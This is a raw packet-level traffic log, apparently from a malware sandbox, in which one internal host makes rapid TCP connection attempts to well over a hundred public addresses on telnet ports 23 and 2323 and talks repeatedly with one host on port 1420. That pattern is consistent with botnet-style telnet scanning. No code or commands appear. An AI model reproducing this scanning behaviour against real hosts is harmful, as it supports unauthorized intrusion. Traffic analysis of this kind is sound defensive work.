Nov 3, 2024 15:33:10.261907101 CET	41428	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.266926050 CET	23	41428	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.267014027 CET	41428	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.267349958 CET	41430	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.271790981 CET	23	41428	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.272069931 CET	23	41430	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.272109985 CET	41430	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.277262926 CET	23	41430	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.277338028 CET	41430	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.277741909 CET	41432	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.282097101 CET	23	41430	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.282991886 CET	23	41432	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.283070087 CET	41432	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.288398981 CET	23	41432	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.288503885 CET	41432	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.288836002 CET	41434	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.293651104 CET	23	41432	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.293665886 CET	23	41434	81.249.102.9	192.168.2.14
Nov 3, 2024 15:33:10.293708086 CET	41434	23	192.168.2.14	81.249.102.9
Nov 3, 2024 15:33:10.352770090 CET	23	58498	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.352982044 CET	58498	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.353401899 CET	58600	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.357896090 CET	23	58498	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.358212948 CET	23	58600	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.358268976 CET	58600	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.364506960 CET	23	58600	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.364598989 CET	58600	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.364979982 CET	58602	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.369720936 CET	23	58600	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.369862080 CET	23	58602	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.369911909 CET	58602	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.375035048 CET	23	58602	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.375139952 CET	58602	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.375610113 CET	58604	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.379933119 CET	23	58602	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.380367041 CET	23	58604	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.380414009 CET	58604	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.385457039 CET	23	58604	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.385560989 CET	58604	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.385926008 CET	58606	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.390389919 CET	23	58604	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.390696049 CET	23	58606	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.390747070 CET	58606	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.396667957 CET	23	58606	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.396749020 CET	58606	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.397103071 CET	58608	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.402715921 CET	23	58606	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.402726889 CET	23	58608	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.402759075 CET	58608	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.408807993 CET	23	58608	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.408884048 CET	58608	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.409220934 CET	58610	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:10.413805962 CET	23	58608	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.416533947 CET	23	58610	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:10.416580915 CET	58610	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.054672956 CET	1420	34382	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:11.054744005 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.054801941 CET	34382	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.063517094 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.068510056 CET	1420	34494	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:11.068562031 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.069261074 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.074054003 CET	1420	34494	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:11.074096918 CET	34494	1420	192.168.2.14	198.12.107.126
Nov 3, 2024 15:33:11.078840017 CET	1420	34494	198.12.107.126	192.168.2.14
Nov 3, 2024 15:33:11.118468046 CET	23	58610	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.118700981 CET	58610	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.119031906 CET	58614	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.119435072 CET	4833	23	192.168.2.14	86.99.79.53
Nov 3, 2024 15:33:11.119435072 CET	4833	2323	192.168.2.14	117.188.142.142
Nov 3, 2024 15:33:11.119435072 CET	4833	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.119456053 CET	4833	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.119457006 CET	4833	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.119460106 CET	4833	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:11.119460106 CET	4833	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:11.119460106 CET	4833	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:11.119468927 CET	4833	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:11.119471073 CET	4833	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:11.119481087 CET	4833	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:11.119481087 CET	4833	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:11.119482040 CET	4833	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:11.119484901 CET	4833	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:11.119491100 CET	4833	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:11.119491100 CET	4833	23	192.168.2.14	213.68.148.191
Nov 3, 2024 15:33:11.119492054 CET	4833	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:11.119491100 CET	4833	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:11.119493961 CET	4833	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:11.119494915 CET	4833	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:11.119515896 CET	4833	23	192.168.2.14	48.189.3.86
Nov 3, 2024 15:33:11.119518995 CET	4833	2323	192.168.2.14	216.91.231.125
Nov 3, 2024 15:33:11.119518995 CET	4833	23	192.168.2.14	170.59.216.178
Nov 3, 2024 15:33:11.119525909 CET	4833	23	192.168.2.14	160.222.111.197
Nov 3, 2024 15:33:11.119525909 CET	4833	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.119534969 CET	4833	23	192.168.2.14	101.178.28.59
Nov 3, 2024 15:33:11.119553089 CET	4833	23	192.168.2.14	195.159.124.194
Nov 3, 2024 15:33:11.119555950 CET	4833	23	192.168.2.14	125.16.156.71
Nov 3, 2024 15:33:11.119554043 CET	4833	23	192.168.2.14	223.117.158.56
Nov 3, 2024 15:33:11.119554996 CET	4833	23	192.168.2.14	130.173.150.45
Nov 3, 2024 15:33:11.119559050 CET	4833	23	192.168.2.14	189.211.27.181
Nov 3, 2024 15:33:11.119559050 CET	4833	2323	192.168.2.14	121.222.205.245
Nov 3, 2024 15:33:11.119577885 CET	4833	23	192.168.2.14	152.173.229.196
Nov 3, 2024 15:33:11.119577885 CET	4833	23	192.168.2.14	40.192.9.160
Nov 3, 2024 15:33:11.119580030 CET	4833	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.119580030 CET	4833	23	192.168.2.14	217.28.4.151
Nov 3, 2024 15:33:11.119581938 CET	4833	23	192.168.2.14	103.136.202.146
Nov 3, 2024 15:33:11.119581938 CET	4833	23	192.168.2.14	169.102.108.197
Nov 3, 2024 15:33:11.119599104 CET	4833	23	192.168.2.14	105.20.168.248
Nov 3, 2024 15:33:11.119606018 CET	4833	2323	192.168.2.14	157.3.181.215
Nov 3, 2024 15:33:11.119606018 CET	4833	23	192.168.2.14	105.90.5.21
Nov 3, 2024 15:33:11.119606018 CET	4833	2323	192.168.2.14	14.156.87.77
Nov 3, 2024 15:33:11.119606018 CET	4833	23	192.168.2.14	142.132.34.191
Nov 3, 2024 15:33:11.119606972 CET	4833	23	192.168.2.14	160.191.29.198
Nov 3, 2024 15:33:11.119610071 CET	4833	23	192.168.2.14	210.104.191.129
Nov 3, 2024 15:33:11.119610071 CET	4833	23	192.168.2.14	119.218.10.19
Nov 3, 2024 15:33:11.119610071 CET	4833	23	192.168.2.14	189.24.123.196
Nov 3, 2024 15:33:11.119610071 CET	4833	23	192.168.2.14	97.104.202.222
Nov 3, 2024 15:33:11.119611025 CET	4833	23	192.168.2.14	45.251.55.196
Nov 3, 2024 15:33:11.119635105 CET	4833	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.119635105 CET	4833	2323	192.168.2.14	73.152.162.54
Nov 3, 2024 15:33:11.119635105 CET	4833	23	192.168.2.14	118.184.140.7
Nov 3, 2024 15:33:11.119640112 CET	4833	23	192.168.2.14	9.83.49.8
Nov 3, 2024 15:33:11.119640112 CET	4833	23	192.168.2.14	5.217.183.113
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	112.255.193.230
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	9.187.18.204
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	145.200.61.238
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	86.103.62.146
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	221.125.157.173
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	95.124.62.123
Nov 3, 2024 15:33:11.119641066 CET	4833	23	192.168.2.14	118.209.41.35
Nov 3, 2024 15:33:11.119643927 CET	4833	23	192.168.2.14	76.138.124.126
Nov 3, 2024 15:33:11.119645119 CET	4833	2323	192.168.2.14	130.234.175.231
Nov 3, 2024 15:33:11.119645119 CET	4833	23	192.168.2.14	140.215.30.98
Nov 3, 2024 15:33:11.119646072 CET	4833	23	192.168.2.14	110.90.84.35
Nov 3, 2024 15:33:11.119646072 CET	4833	23	192.168.2.14	170.198.211.137
Nov 3, 2024 15:33:11.119646072 CET	4833	23	192.168.2.14	54.115.171.21
Nov 3, 2024 15:33:11.119646072 CET	4833	23	192.168.2.14	200.19.151.133
Nov 3, 2024 15:33:11.119684935 CET	4833	23	192.168.2.14	148.58.186.24
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	19.229.96.1
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	149.100.124.48
Nov 3, 2024 15:33:11.119687080 CET	4833	23	192.168.2.14	122.197.11.138
Nov 3, 2024 15:33:11.119685888 CET	4833	2323	192.168.2.14	60.131.131.0
Nov 3, 2024 15:33:11.119687080 CET	4833	2323	192.168.2.14	170.249.147.34
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	1.38.89.177
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	80.178.35.39
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	45.199.189.96
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	188.196.203.111
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	204.177.37.94
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	171.46.81.85
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	193.35.72.37
Nov 3, 2024 15:33:11.119690895 CET	4833	23	192.168.2.14	128.22.217.146
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	123.235.110.170
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	166.192.235.153
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	18.25.228.255
Nov 3, 2024 15:33:11.119685888 CET	4833	23	192.168.2.14	70.54.100.246
Nov 3, 2024 15:33:11.119688988 CET	4833	23	192.168.2.14	113.190.72.15
Nov 3, 2024 15:33:11.119690895 CET	4833	23	192.168.2.14	46.108.107.31
Nov 3, 2024 15:33:11.119690895 CET	4833	23	192.168.2.14	95.208.41.116
Nov 3, 2024 15:33:11.119741917 CET	4833	23	192.168.2.14	18.36.179.24
Nov 3, 2024 15:33:11.119741917 CET	4833	23	192.168.2.14	99.133.15.8
Nov 3, 2024 15:33:11.119741917 CET	4833	23	192.168.2.14	126.137.92.252
Nov 3, 2024 15:33:11.119741917 CET	4833	23	192.168.2.14	68.220.135.191
Nov 3, 2024 15:33:11.119741917 CET	4833	23	192.168.2.14	20.73.18.197
Nov 3, 2024 15:33:11.119743109 CET	4833	23	192.168.2.14	194.46.231.68
Nov 3, 2024 15:33:11.119744062 CET	4833	23	192.168.2.14	219.38.159.223
Nov 3, 2024 15:33:11.119743109 CET	4833	23	192.168.2.14	65.159.158.15
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	186.75.210.138
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	79.35.26.100
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	188.222.26.21
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	118.68.129.221
Nov 3, 2024 15:33:11.119744062 CET	4833	23	192.168.2.14	185.200.14.43
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	93.198.6.209
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	161.170.193.146
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	80.145.9.51
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	206.153.20.214
Nov 3, 2024 15:33:11.119744062 CET	4833	23	192.168.2.14	32.201.192.16
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	39.49.252.129
Nov 3, 2024 15:33:11.119745016 CET	4833	2323	192.168.2.14	105.159.207.225
Nov 3, 2024 15:33:11.119744062 CET	4833	23	192.168.2.14	72.101.105.211
Nov 3, 2024 15:33:11.119746923 CET	4833	2323	192.168.2.14	199.119.56.134
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	9.162.80.179
Nov 3, 2024 15:33:11.119748116 CET	4833	23	192.168.2.14	213.168.141.96
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	213.203.164.50
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	48.139.68.25
Nov 3, 2024 15:33:11.119748116 CET	4833	2323	192.168.2.14	68.158.51.138
Nov 3, 2024 15:33:11.119745016 CET	4833	23	192.168.2.14	91.108.149.149
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	13.219.163.193
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	191.115.172.228
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	201.73.13.20
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	98.176.27.151
Nov 3, 2024 15:33:11.119746923 CET	4833	23	192.168.2.14	95.36.168.100
Nov 3, 2024 15:33:11.119781971 CET	4833	23	192.168.2.14	79.74.252.232
Nov 3, 2024 15:33:11.119781971 CET	4833	23	192.168.2.14	72.226.249.229
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	94.40.128.197
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	203.116.148.34
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	14.211.115.109
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	135.80.184.167
Nov 3, 2024 15:33:11.119781971 CET	4833	23	192.168.2.14	5.208.60.236
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	60.146.156.121
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	92.239.118.21
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	186.78.129.18
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	90.233.90.109
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	181.24.83.13
Nov 3, 2024 15:33:11.119784117 CET	4833	23	192.168.2.14	23.15.79.9
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	217.66.98.229
Nov 3, 2024 15:33:11.119782925 CET	4833	23	192.168.2.14	115.84.134.166
Nov 3, 2024 15:33:11.119785070 CET	4833	2323	192.168.2.14	12.134.189.95
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	207.65.106.30
Nov 3, 2024 15:33:11.119784117 CET	4833	23	192.168.2.14	63.8.195.104
Nov 3, 2024 15:33:11.119785070 CET	4833	2323	192.168.2.14	154.139.221.153
Nov 3, 2024 15:33:11.119784117 CET	4833	23	192.168.2.14	142.145.30.226
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	68.56.118.49
Nov 3, 2024 15:33:11.119785070 CET	4833	23	192.168.2.14	75.62.51.230
Nov 3, 2024 15:33:11.119813919 CET	4833	23	192.168.2.14	77.231.112.67
Nov 3, 2024 15:33:11.119816065 CET	4833	23	192.168.2.14	102.243.68.117
Nov 3, 2024 15:33:11.119816065 CET	4833	23	192.168.2.14	122.17.103.198
Nov 3, 2024 15:33:11.119817019 CET	4833	23	192.168.2.14	66.254.17.232
Nov 3, 2024 15:33:11.119817972 CET	4833	23	192.168.2.14	175.155.141.83
Nov 3, 2024 15:33:11.119816065 CET	4833	23	192.168.2.14	178.190.122.98
Nov 3, 2024 15:33:11.119817972 CET	4833	23	192.168.2.14	124.50.192.152
Nov 3, 2024 15:33:11.119818926 CET	4833	23	192.168.2.14	171.104.217.79
Nov 3, 2024 15:33:11.119818926 CET	4833	23	192.168.2.14	147.32.211.188
Nov 3, 2024 15:33:11.119821072 CET	4833	23	192.168.2.14	156.109.119.21
Nov 3, 2024 15:33:11.119817972 CET	4833	2323	192.168.2.14	8.183.111.44
Nov 3, 2024 15:33:11.119818926 CET	4833	23	192.168.2.14	175.1.166.61
Nov 3, 2024 15:33:11.119817972 CET	4833	23	192.168.2.14	198.102.168.241
Nov 3, 2024 15:33:11.119816065 CET	4833	23	192.168.2.14	183.25.132.88
Nov 3, 2024 15:33:11.119817972 CET	4833	23	192.168.2.14	84.145.124.240
Nov 3, 2024 15:33:11.119818926 CET	4833	23	192.168.2.14	42.191.161.135
Nov 3, 2024 15:33:11.123657942 CET	23	58610	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.123851061 CET	23	58614	216.173.120.226	192.168.2.14
Nov 3, 2024 15:33:11.123894930 CET	58614	23	192.168.2.14	216.173.120.226
Nov 3, 2024 15:33:11.125016928 CET	23	4833	86.99.79.53	192.168.2.14
Nov 3, 2024 15:33:11.125071049 CET	4833	23	192.168.2.14	86.99.79.53
Nov 3, 2024 15:33:11.125073910 CET	2323	4833	117.188.142.142	192.168.2.14
Nov 3, 2024 15:33:11.125082970 CET	23	4833	207.180.143.66	192.168.2.14
Nov 3, 2024 15:33:11.125091076 CET	23	4833	14.92.73.42	192.168.2.14
Nov 3, 2024 15:33:11.125101089 CET	23	4833	43.247.67.68	192.168.2.14
Nov 3, 2024 15:33:11.125108957 CET	23	4833	110.213.57.104	192.168.2.14
Nov 3, 2024 15:33:11.125118971 CET	23	4833	86.73.189.68	192.168.2.14
Nov 3, 2024 15:33:11.125118971 CET	4833	2323	192.168.2.14	117.188.142.142
Nov 3, 2024 15:33:11.125118971 CET	4833	23	192.168.2.14	207.180.143.66
Nov 3, 2024 15:33:11.125127077 CET	4833	23	192.168.2.14	14.92.73.42
Nov 3, 2024 15:33:11.125135899 CET	4833	23	192.168.2.14	43.247.67.68
Nov 3, 2024 15:33:11.125135899 CET	23	4833	68.152.187.162	192.168.2.14
Nov 3, 2024 15:33:11.125147104 CET	23	4833	136.149.88.103	192.168.2.14
Nov 3, 2024 15:33:11.125152111 CET	4833	23	192.168.2.14	110.213.57.104
Nov 3, 2024 15:33:11.125153065 CET	4833	23	192.168.2.14	86.73.189.68
Nov 3, 2024 15:33:11.125154972 CET	23	4833	163.162.104.40	192.168.2.14
Nov 3, 2024 15:33:11.125178099 CET	23	4833	98.193.235.40	192.168.2.14
Nov 3, 2024 15:33:11.125178099 CET	4833	23	192.168.2.14	68.152.187.162
Nov 3, 2024 15:33:11.125188112 CET	4833	23	192.168.2.14	136.149.88.103
Nov 3, 2024 15:33:11.125188112 CET	2323	4833	73.112.49.94	192.168.2.14
Nov 3, 2024 15:33:11.125188112 CET	4833	23	192.168.2.14	163.162.104.40
Nov 3, 2024 15:33:11.125195980 CET	23	4833	77.209.216.96	192.168.2.14
Nov 3, 2024 15:33:11.125205040 CET	23	4833	63.104.212.7	192.168.2.14
Nov 3, 2024 15:33:11.125211954 CET	23	4833	153.59.235.162	192.168.2.14
Nov 3, 2024 15:33:11.125215054 CET	4833	23	192.168.2.14	98.193.235.40
Nov 3, 2024 15:33:11.125220060 CET	23	4833	222.182.50.241	192.168.2.14
Nov 3, 2024 15:33:11.125221014 CET	4833	2323	192.168.2.14	73.112.49.94
Nov 3, 2024 15:33:11.125226021 CET	4833	23	192.168.2.14	77.209.216.96
Nov 3, 2024 15:33:11.125231981 CET	4833	23	192.168.2.14	153.59.235.162
Nov 3, 2024 15:33:11.125240088 CET	4833	23	192.168.2.14	63.104.212.7
Nov 3, 2024 15:33:11.125257969 CET	4833	23	192.168.2.14	222.182.50.241
Nov 3, 2024 15:33:11.125513077 CET	23	4833	205.186.130.163	192.168.2.14
Nov 3, 2024 15:33:11.125521898 CET	23	4833	113.219.219.181	192.168.2.14
Nov 3, 2024 15:33:11.125529051 CET	23	4833	213.68.148.191	192.168.2.14
Nov 3, 2024 15:33:11.125538111 CET	23	4833	150.186.70.101	192.168.2.14
Nov 3, 2024 15:33:11.125545979 CET	23	4833	48.189.3.86	192.168.2.14
Nov 3, 2024 15:33:11.125555038 CET	2323	4833	216.91.231.125	192.168.2.14
Nov 3, 2024 15:33:11.125559092 CET	23	4833	170.59.216.178	192.168.2.14
Nov 3, 2024 15:33:11.125561953 CET	23	4833	160.222.111.197	192.168.2.14
Nov 3, 2024 15:33:11.125564098 CET	4833	23	192.168.2.14	205.186.130.163
Nov 3, 2024 15:33:11.125570059 CET	23	4833	148.29.35.200	192.168.2.14
Nov 3, 2024 15:33:11.125574112 CET	23	4833	101.178.28.59	192.168.2.14
Nov 3, 2024 15:33:11.125572920 CET	4833	23	192.168.2.14	150.186.70.101
Nov 3, 2024 15:33:11.125572920 CET	4833	23	192.168.2.14	113.219.219.181
Nov 3, 2024 15:33:11.125572920 CET	4833	23	192.168.2.14	213.68.148.191
Nov 3, 2024 15:33:11.125579119 CET	23	4833	195.159.124.194	192.168.2.14
Nov 3, 2024 15:33:11.125596046 CET	4833	23	192.168.2.14	101.178.28.59
Nov 3, 2024 15:33:11.125607967 CET	4833	23	192.168.2.14	195.159.124.194
Nov 3, 2024 15:33:11.125610113 CET	4833	2323	192.168.2.14	216.91.231.125
Nov 3, 2024 15:33:11.125613928 CET	4833	23	192.168.2.14	48.189.3.86
Nov 3, 2024 15:33:11.125617981 CET	4833	23	192.168.2.14	148.29.35.200
Nov 3, 2024 15:33:11.125617981 CET	4833	23	192.168.2.14	160.222.111.197
Nov 3, 2024 15:33:11.125622034 CET	4833	23	192.168.2.14	170.59.216.178
Nov 3, 2024 15:33:11.125932932 CET	23	4833	125.16.156.71	192.168.2.14
Nov 3, 2024 15:33:11.125942945 CET	23	4833	223.117.158.56	192.168.2.14
Nov 3, 2024 15:33:11.125951052 CET	23	4833	189.211.27.181	192.168.2.14
Nov 3, 2024 15:33:11.125958920 CET	23	4833	130.173.150.45	192.168.2.14
Nov 3, 2024 15:33:11.125966072 CET	2323	4833	121.222.205.245	192.168.2.14
Nov 3, 2024 15:33:11.125969887 CET	4833	23	192.168.2.14	223.117.158.56
Nov 3, 2024 15:33:11.125974894 CET	23	4833	152.173.229.196	192.168.2.14
Nov 3, 2024 15:33:11.125974894 CET	4833	23	192.168.2.14	125.16.156.71
Nov 3, 2024 15:33:11.125983000 CET	23	4833	174.234.155.8	192.168.2.14
Nov 3, 2024 15:33:11.125983000 CET	4833	23	192.168.2.14	189.211.27.181
Nov 3, 2024 15:33:11.125991106 CET	23	4833	40.192.9.160	192.168.2.14
Nov 3, 2024 15:33:11.125993967 CET	4833	23	192.168.2.14	130.173.150.45
Nov 3, 2024 15:33:11.125994921 CET	4833	2323	192.168.2.14	121.222.205.245
Nov 3, 2024 15:33:11.125998974 CET	23	4833	169.102.108.197	192.168.2.14
Nov 3, 2024 15:33:11.126008034 CET	23	4833	103.136.202.146	192.168.2.14
Nov 3, 2024 15:33:11.126013994 CET	4833	23	192.168.2.14	152.173.229.196
Nov 3, 2024 15:33:11.126013994 CET	4833	23	192.168.2.14	40.192.9.160
Nov 3, 2024 15:33:11.126017094 CET	23	4833	217.28.4.151	192.168.2.14
Nov 3, 2024 15:33:11.126024961 CET	23	4833	105.20.168.248	192.168.2.14
Nov 3, 2024 15:33:11.126032114 CET	2323	4833	157.3.181.215	192.168.2.14
Nov 3, 2024 15:33:11.126039982 CET	23	4833	105.90.5.21	192.168.2.14
Nov 3, 2024 15:33:11.126041889 CET	4833	23	192.168.2.14	169.102.108.197
Nov 3, 2024 15:33:11.126055956 CET	4833	23	192.168.2.14	103.136.202.146
Nov 3, 2024 15:33:11.126058102 CET	4833	23	192.168.2.14	174.234.155.8
Nov 3, 2024 15:33:11.126058102 CET	4833	23	192.168.2.14	217.28.4.151
Nov 3, 2024 15:33:11.126059055 CET	23	4833	210.104.191.129	192.168.2.14
Nov 3, 2024 15:33:11.126058102 CET	4833	2323	192.168.2.14	157.3.181.215
Nov 3, 2024 15:33:11.126064062 CET	23	4833	189.24.123.196	192.168.2.14
Nov 3, 2024 15:33:11.126066923 CET	4833	23	192.168.2.14	105.20.168.248
Nov 3, 2024 15:33:11.126068115 CET	23	4833	45.251.55.196	192.168.2.14
Nov 3, 2024 15:33:11.126071930 CET	23	4833	97.104.202.222	192.168.2.14
Nov 3, 2024 15:33:11.126075029 CET	2323	4833	14.156.87.77	192.168.2.14
Nov 3, 2024 15:33:11.126079082 CET	23	4833	142.132.34.191	192.168.2.14
Nov 3, 2024 15:33:11.126086950 CET	23	4833	160.191.29.198	192.168.2.14
Nov 3, 2024 15:33:11.126095057 CET	23	4833	119.218.10.19	192.168.2.14
Nov 3, 2024 15:33:11.126102924 CET	23	4833	39.166.154.81	192.168.2.14
Nov 3, 2024 15:33:11.126120090 CET	4833	23	192.168.2.14	105.90.5.21
Nov 3, 2024 15:33:11.126120090 CET	4833	23	192.168.2.14	160.191.29.198
Nov 3, 2024 15:33:11.126121044 CET	4833	23	192.168.2.14	210.104.191.129
Nov 3, 2024 15:33:11.126121998 CET	4833	23	192.168.2.14	45.251.55.196
Nov 3, 2024 15:33:11.126130104 CET	4833	23	192.168.2.14	119.218.10.19
Nov 3, 2024 15:33:11.126132011 CET	4833	2323	192.168.2.14	14.156.87.77
Nov 3, 2024 15:33:11.126132011 CET	4833	23	192.168.2.14	189.24.123.196
Nov 3, 2024 15:33:11.126132011 CET	4833	23	192.168.2.14	142.132.34.191
Nov 3, 2024 15:33:11.126132011 CET	4833	23	192.168.2.14	97.104.202.222
Nov 3, 2024 15:33:11.126132011 CET	4833	23	192.168.2.14	39.166.154.81
Nov 3, 2024 15:33:11.126527071 CET	2323	4833	73.152.162.54	192.168.2.14
Nov 3, 2024 15:33:11.126537085 CET	23	4833	9.83.49.8	192.168.2.14
Nov 3, 2024 15:33:11.126545906 CET	23	4833	118.184.140.7	192.168.2.14
Nov 3, 2024 15:33:11.126554966 CET	23	4833	76.138.124.126	192.168.2.14
Nov 3, 2024 15:33:11.126563072 CET	2323	4833	130.234.175.231	192.168.2.14
Nov 3, 2024 15:33:11.126568079 CET	23	4833	5.217.183.113	192.168.2.14
Nov 3, 2024 15:33:11.126569033 CET	4833	23	192.168.2.14	9.83.49.8
Nov 3, 2024 15:33:11.126570940 CET	4833	2323	192.168.2.14	73.152.162.54
